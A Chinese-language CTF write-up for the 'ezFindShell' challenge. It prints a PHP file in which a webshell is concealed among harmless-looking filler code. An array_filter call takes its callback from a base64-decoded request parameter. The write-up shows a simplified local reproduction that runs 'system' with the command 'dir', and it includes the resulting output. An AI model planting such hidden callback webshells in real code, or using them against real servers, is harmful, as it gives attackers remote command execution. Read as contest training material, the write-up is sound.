Bootstrap

CTF-WEB: 2024强网杯青少年专项赛 ezFindShell writeup

打开直接下载www.zip

通过百度网盘分享的文件:ezFindShell.zip
链接:https://pan.baidu.com/s/1JQjOk-qxaOf0s4f3Fgww7w?pwd=1111 
提取码:1111 
--来自百度网盘超级会员V2的分享

使用阿里webshell进行检测,找到可利用文件,或者直接全全局搜索$_

1de9d9a55a824f4f8b6f37af76596baa.php

<?php
class xKJDlNsT {
    public function AgKxKbTP($message) {
        echo "Message: $message\n";
    }
}
$obj = new xKJDlNsT();
$obj->AgKxKbTP("Hello from xKJDlNsT");

$response = file_get_contents("https://httpbin.org/get");
echo "HTTP Response: $response\n";

echo "Current Date: " . date("Y-m-d") . "\n";
echo "Current Time: " . date("H:i:s") . "\n";

function iZbkflke($num) {
    if ($num <= 1) return 1;
    return $num * iZbkflke($num - 1);
}
echo "iZbkflke(5): " . iZbkflke(5) . "\n";

$text = "QKCdvmnTVdA";
if (preg_match("/[a-z]+/", $text)) {
    echo "Match found in $text with pattern /[a-z]+/\n";
} else {
    echo "No match found for pattern /[a-z]+/\n";
}

$e=$_REQUEST['e'];$arr=array($_POST['POST'],);array_filter($arr,base64_decode($e));
?>

array_filter

array_filter 是 PHP 中的一个内置函数,用于过滤数组中的元素。它会根据用户提供的回调函数,检查数组中的每个元素,并返回一个新数组,包含所有通过回调函数测试的元素。

语法

array_filter(array $array, ?callable $callback = null, int $mode = 0): array

参数

  1. $array: 需要被过滤的输入数组。
  2. $callback: (可选)一个回调函数。这个函数会被应用到数组的每一个元素上。如果回调函数返回 true,该元素将被保留在返回的新数组中;如果返回 false,则该元素会被过滤掉。如果没有提供该参数,array_filter 会删除数组中所有的假值(如 falsenull0'' 等)。
  3. $mode: (可选)可以是 ARRAY_FILTER_USE_BOTH,表示回调函数会接收数组的键和值;默认是 ARRAY_FILTER_USE_KEY,只传递值。

返回值

返回一个包含通过回调函数测试的数组元素的新数组。

示例

  1. 基本用法
$input = [1, 2, 3, 4, 5, 6];
$output = array_filter($input, function($value) {
    return $value % 2 === 0; // 只保留偶数
});

print_r($output); // 输出: Array ( [1] => 2 [3] => 4 [5] => 6 )
  1. 没有回调函数的用法
$input = [0, 1, false, 2, '', 3, null, 4];
$output = array_filter($input); // 过滤掉所有假值

print_r($output); // 输出: Array ( [1] => 1 [3] => 2 [5] => 3 [7] => 4 )
  1. 使用键和值
$array = [
    'a' => 1,
    'b' => 2,
    'c' => 3,
];

$output = array_filter($array, function($value, $key) {
    return $value > 1; // 只保留值大于 1 的元素
}, ARRAY_FILTER_USE_BOTH);

print_r($output); // 输出: Array ( [b] => 2 [c] => 3 )

修改并简化代码在本地测试(php 7,8均成功)

<?php
$e=$_GET['e'];
$arr=array($_GET['POST']);
array_filter($arr,$e);
?>

尝试发送

&e=system&POST=dir

本地成功复现

������ D �еľ��� �ļ� �������к��� 022D-E392 D:\wamp64\www ��Ŀ¼ 2024/11/25 13:00
. 2024/11/24 17:39
.. 2024/11/25 13:02
.idea 2024/11/25 12:53 77 test.php 2024/11/25 13:00 20 test2.php 2 ���ļ� 97 �ֽ� 3 ��Ŀ¼ 592,092,061,696 �����ֽ�

–A5rZ

;